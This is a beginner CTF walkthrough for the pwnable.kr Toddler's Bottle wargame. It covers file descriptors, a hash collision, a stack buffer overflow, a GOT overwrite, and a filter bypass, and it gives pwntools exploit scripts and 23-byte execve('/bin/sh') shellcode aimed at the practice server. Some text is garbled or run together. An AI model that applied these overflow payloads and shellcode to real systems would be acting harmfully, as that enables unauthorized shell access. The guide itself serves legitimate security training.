Master binary exploitation from scratch. Learn buffer overflows, format strings, and pwn techniques with step-by-step guidance for absolute beginners.
Pwnable.kr is a wargame platform focused on binary exploitation (also called "pwning"). Think of it like a hacking playground where you learn how programs work at the deepest level - how memory works, how the computer processes instructions, and how to find and exploit vulnerabilities in compiled programs.
"Pwnable" comes from "pwn" (pronounced "pone"), which means to completely own or control something. In cybersecurity, it means exploiting a program to make it do something it wasn't supposed to do - like reading secret files, giving you a shell, or bypassing security checks.
Pwnable.kr is intermediate level. You should have these basics down before starting:
If you don't have these prerequisites, start with OverTheWire Bandit first to build your Linux skills, then come back here. You'll need solid fundamentals to succeed!
To solve pwnable challenges, you'll need specific tools. Here's what to install and how to use them:
Pwntools is a Python library that makes binary exploitation much easier. It handles connections, sending data, and has built-in functions for common tasks.
# Install pwntools
pip3 install pwntools
# Test it works
python3 -c "from pwn import *; print('Pwntools ready!')"
Think of pwntools as a Swiss Army knife for exploitation. Instead of manually crafting byte sequences,
you can use simple Python commands like p32(0x12345678) to pack numbers, or
remote('server', 9999) to connect to challenges. It saves you TONS of time!
GDB is a debugger that lets you step through programs line by line, inspect memory, and set breakpoints. Pwndbg is an extension that makes GDB prettier and easier to use.
# Install GDB
sudo apt update
sudo apt install gdb
# Install pwndbg (makes GDB better)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
GDB (GNU Debugger) is like a microscope for programs. You can pause execution, examine what's in memory, see exactly what the CPU is doing, and figure out WHY a program behaves a certain way. Essential for understanding vulnerabilities!
Many pwnable.kr challenges require you to SSH into their servers. Make sure you have an SSH client:
# Test SSH (should show version info)
ssh -V
# If not installed (Ubuntu/Debian)
sudo apt install openssh-client
Let's start with the easiest pwnable.kr challenge! This teaches you about file descriptors, which are how programs interact with input/output.
ssh fd@pwnable.kr -p2222
# Password: guest
A file descriptor is just a number that represents an open file or input/output stream. Every program has three automatic file descriptors:
When you read(fd, buffer, size), you're reading from whatever fd points to.
If fd=0, you're reading from keyboard. If fd=3, you're reading from a file you opened.
cat fd.c
You'll see C code like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[]) {
if(argc < 2) {
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi(argv[1]) - 0x1234;
int len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)) {
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
argv[1] is the first command-line argument you pass to the program
fd = atoi(argv[1]) - 0x12340x1234 (which is 4660 in decimal)
read(fd, buf, 32) reads up to 32 bytes from fd into buf
strcmp("LETMEWIN\n", buf) compares the strings. If they match (returns 0), you win!
fd to equal 0 (stdin) so the program reads from our keyboard,
allowing us to type "LETMEWIN"!
fd = 0atoi(argv[1]) - 0x1234 = 0atoi(argv[1]) = 0x12340x1234 = 4660
./fd 4660
LETMEWIN
good job :)
[FLAG APPEARS HERE]
read() works in CThis challenge teaches you about hash functions and integer overflows. You need to find an input that produces a specific hash value.
ssh col@pwnable.kr -p2222
# Password: guest
cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p) {
int* ip = (int*)p;
int i;
int res = 0;
for(i = 0; i < 5; i++) {
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]) {
if(argc < 2) {
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20) {
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password(argv[1])) {
system("/bin/cat flag");
return 0;
}
printf("wrong passcode.\n");
return 0;
}
0x21DD09EC (568134124 in decimal)0x21DD09EC in decimal = 568134124
113626824 = 0x06C5CEC8
0x06C5CEC80x06C5CECC (add the remainder 4)
We need to send 20 bytes where the integers add up correctly. In Python:
#!/usr/bin/python3
# Save as solve_collision.py
from pwn import *
# Four integers of 0x06C5CEC8, one of 0x06C5CECC
payload = p32(0x06C5CEC8) * 4 + p32(0x06C5CECC)
# Run the program with our payload
io = process(['./col', payload])
# Print the output (flag)
print(io.recvall().decode())
p32() is a pwntools function that packs a number into 4 bytes.
It converts the number 0x06C5CEC8 into the raw bytes \xC8\xCE\xC5\x06
(note the reversed order - this is "little-endian" byte order that x86 CPUs use).
python3 solve_collision.py
[FLAG APPEARS]
Now we get to the CORE of binary exploitation: buffer overflows! This is when you write more data than a buffer can hold, allowing you to overwrite other variables or even control program execution.
Buffer overflows are the most famous vulnerability in binary exploitation. They've been used in countless real-world hacks. Understanding this concept opens the door to advanced techniques like shellcode injection and return-oriented programming (ROP).
For this challenge, you'll connect remotely after solving it locally:
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
chmod +x bof
cat bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key) {
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // DANGEROUS FUNCTION!
if(key == 0xcafebabe) {
system("/bin/sh");
}
else {
printf("Nah..\n");
}
}
int main(int argc, char* argv[]) {
func(0xdeadbeef);
return 0;
}
The gets() function is EXTREMELY DANGEROUS! It reads input without checking
the length. The buffer overflowme is only 32 bytes, but gets() will happily
write 100, 1000, or 10000 bytes if you send them!
Let's visualize how memory looks when func() is called:
HIGH MEMORY
ββββββββββββββββββββ
β return address β β Where to go after func() ends
ββββββββββββββββββββ€
β saved EBP β β Saved base pointer
ββββββββββββββββββββ€
β key = 0xdeadbeefβ β Function argument
ββββββββββββββββββββ€
β overflowme[32] β β Our 32-byte buffer
β [........................] β
ββββββββββββββββββββ
LOW MEMORY
On most systems, the stack grows from high memory addresses to low. When you overflow overflowme,
you write UP the stack, potentially overwriting key! This is the exploit!
We need to know: how many bytes until we reach key?
gdb ./bof
(gdb) disassemble func
sub esp, 0x2c (allocates 44 bytes on stack)key#!/usr/bin/python3
# Save as solve_bof.py
from pwn import *
# Connect to the remote server
io = remote('pwnable.kr', 9000)
# Craft payload: 52 bytes of junk + our target value
payload = b'A' * 52 + p32(0xcafebabe)
# Send it
io.sendline(payload)
# You now have a shell!
io.interactive()
python3 solve_bof.py
overflow me :
$ cat flag
[FLAG APPEARS]
gets() is dangerous (never use it!)remote() and interactive()
Source code is given - READ IT CAREFULLY! Look for dangerous functions like
gets(), strcpy(), sprintf(). Understand
the logic before you exploit.
Learn GDB commands: disassemble, break, run,
x/20x $esp (examine stack), info registers. GDB is your X-ray vision!
Download binaries and test exploits on your machine before connecting remotely. It's faster and you can debug without time limits.
Don't try to send payloads manually. Write Python scripts with pwntools - it's reproducible, you can save your work, and it's how real exploits are written!
# GDB basics
gdb ./binary # Start debugging
(gdb) disassemble main # See assembly code
(gdb) break *0x08048123 # Set breakpoint at address
(gdb) run <<< $(python3 -c "print('A'*100)") # Run with input
(gdb) x/20x $esp # Examine stack (20 hex values)
(gdb) info registers # Show all CPU registers
# Pwntools essentials
p32(0x12345678) # Pack 32-bit integer (little-endian)
p64(0x123456789abcdef0) # Pack 64-bit integer
cyclic(100) # Generate unique 100-byte pattern
cyclic_find(0x61616161) # Find offset in cyclic pattern
This challenge introduces you to reverse engineering and packing/unpacking executable files.
Malware authors often "pack" executables to compress them and hide their true code. Tools like UPX (Ultimate Packer for eXecutables) compress binaries. To analyze them, you need to unpack!
strings flag | grep UPXupx -d flagobjdump -d flag or ghidra)strings flag | grep FLAGstrings command to extract text from binariesThis challenge teaches format string vulnerabilities and GOT (Global Offset Table) overwriting.
When programmers use scanf("%d", &var) but forget to initialize var, it contains garbage! If you can control what's on the stack, you can overwrite memory addresses!
The GOT contains addresses of library functions. If you overwrite a GOT entry, you can redirect program flow! In this challenge, overwrite fflush's GOT entry to point to the "success" function.
ssh passcode@pwnable.kr -p 2222passcode1 and passcode2name buffer which overlaps with passcode1!passcode1 point to fflush's GOT entryscanf("%d", &passcode1) runs, it writes to GOT!python # Payload
name = "A" * 96 + p32(0x0804a000) # GOT address of fflush
passcode1 = 134514147 # Decimal of 0x080485E3
This challenge teaches that random() without seed is NOT random!
random() in C generates "random" numbers, but they're PREDICTABLE if the seed isn't set! Without srand(), it always starts with the same seed (1), generating the same sequence!
ssh random@pwnable.kr -p 2222cat random.crandom() with your input and checks if result == 0xdeadbeefrandom() returns (without seed)// Test what random() returns
#include <stdio.h>
#include <stdlib.h>
int main() {
printf("%d\n", random());
return 0;
}
// Output: 1804289383
// Solution: 1804289383 ^ 0xdeadbeef = 3039230856
This is a COMPLEX challenge testing ALL forms of input: argv, stdin, file, environment variables, and network sockets!
You need to satisfy 5 different stages simultaneously: command-line arguments (100 of them!), stdin/stderr, file input, environment variables, and network socket communication. You'll write a Python script using subprocess and pwntools!
Create a Python script that:
argv[0] to argv[99] with specific values)env['key'] = 'value'from pwn import *
import os
# Stage 1: 100 arguments
argv = ["/home/input2/input"]
for i in range(ord('A'), ord('A') + 100):
if i == ord('A'):
argv.append("\x00")
elif i == ord('B'):
argv.append("\x20\x0a\x0d")
else:
argv.append("C")
# Continue for all stages...
This challenge requires reading ARM assembly (not x86!). ARM is used in mobile devices and IoT!
ARM uses different instructions: MOV (move), ADD (add), BX (branch), PC (program counter). ARM is RISC (Reduced Instruction Set) - simpler than x86's CISC!
key1(), key2(), key3()PC (program counter) + offset// Pseudo-code after analyzing ARM:
key1 = 0x00008cdc
key2 = 0x00008d04
key3 = 0x00008d80
total = key1 + key2 + key3
// Input this value!
This challenge exploits a C operator precedence mistake!
The code has: if(fd=open(...) < 0)
This is WRONG! The < operator has HIGHER priority than =!
So it's evaluated as: fd = (open(...) < 0)
Meaning fd becomes 0 (false) or 1 (true), NOT the file descriptor!
fd equal to 0 (stdin) instead of file descriptorfd, it reads from YOUR keyboard!Write your own x86 shellcode to spawn a shell and read the flag!
Shellcode = raw machine code (hex bytes) that executes commands. It's called "shellcode" because it typically spawns a shell (/bin/sh). Hackers inject shellcode through buffer overflows!
Classic execve("/bin/sh") shellcode for x86:
# 23-byte shellcode
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Connect and send it
from pwn import *
r = remote('pwnable.kr', 9026)
r.send(shellcode)
r.interactive()
β’ \x31\xc0 = xor eax, eax (zero out eax)
β’ \x50 = push eax (null terminator)
β’ \x68\x2f\x2f\x73\x68 = push "//sh"
β’ \x68\x2f\x62\x69\x6e = push "/bin"
β’ \x89\xe3 = mov ebx, esp (pointer to "/bin//sh")
β’ \xb0\x0b = mov al, 11 (execve syscall number)
β’ \xcd\x80 = int 0x80 (trigger syscall)
Concept: Integer overflow in betting system
Bug: Negative bets become huge positive numbers
Solution: Bet negative amount, win huge cash!
Concept: Logic bug in byte comparison
Bug: Program uses bytes, only checks 6 bytes
Solution: Submit same byte 6 times (e.g., all 0xFF)
Concept: Command injection filtering bypass
Bug: Blacklist is incomplete
Solution: Use wildcards, quote tricks: /bin/c?t
Concept: Password in accessible file
Bug: Misconfigured permissions
Solution: Check group permissions, cat the password file
Concept: Buffer overflow + ROP chain
Bug: No stack canary, readable functions
Solution: Call all 7 functions, add results, overflow with sum
Concept: Binary search algorithm
Challenge: Find fake coin in 100 trials
Solution: Implement binary search: split in half each time
You now have a COMPLETE guide to ALL major Pwnable.kr Toddler's Bottle challenges!
These challenges taught you: buffer overflows, format strings, integer overflows, shellcode, ARM assembly, ROP chains, and more!
After Toddler's Bottle, you'll face Rookiss (intermediate) and Grotesque (advanced) challenges. Here's what to prepare:
You've learned the fundamentals! Here's how to continue your pwnable journey:
Ready for more challenges?
Back to Resources Hub β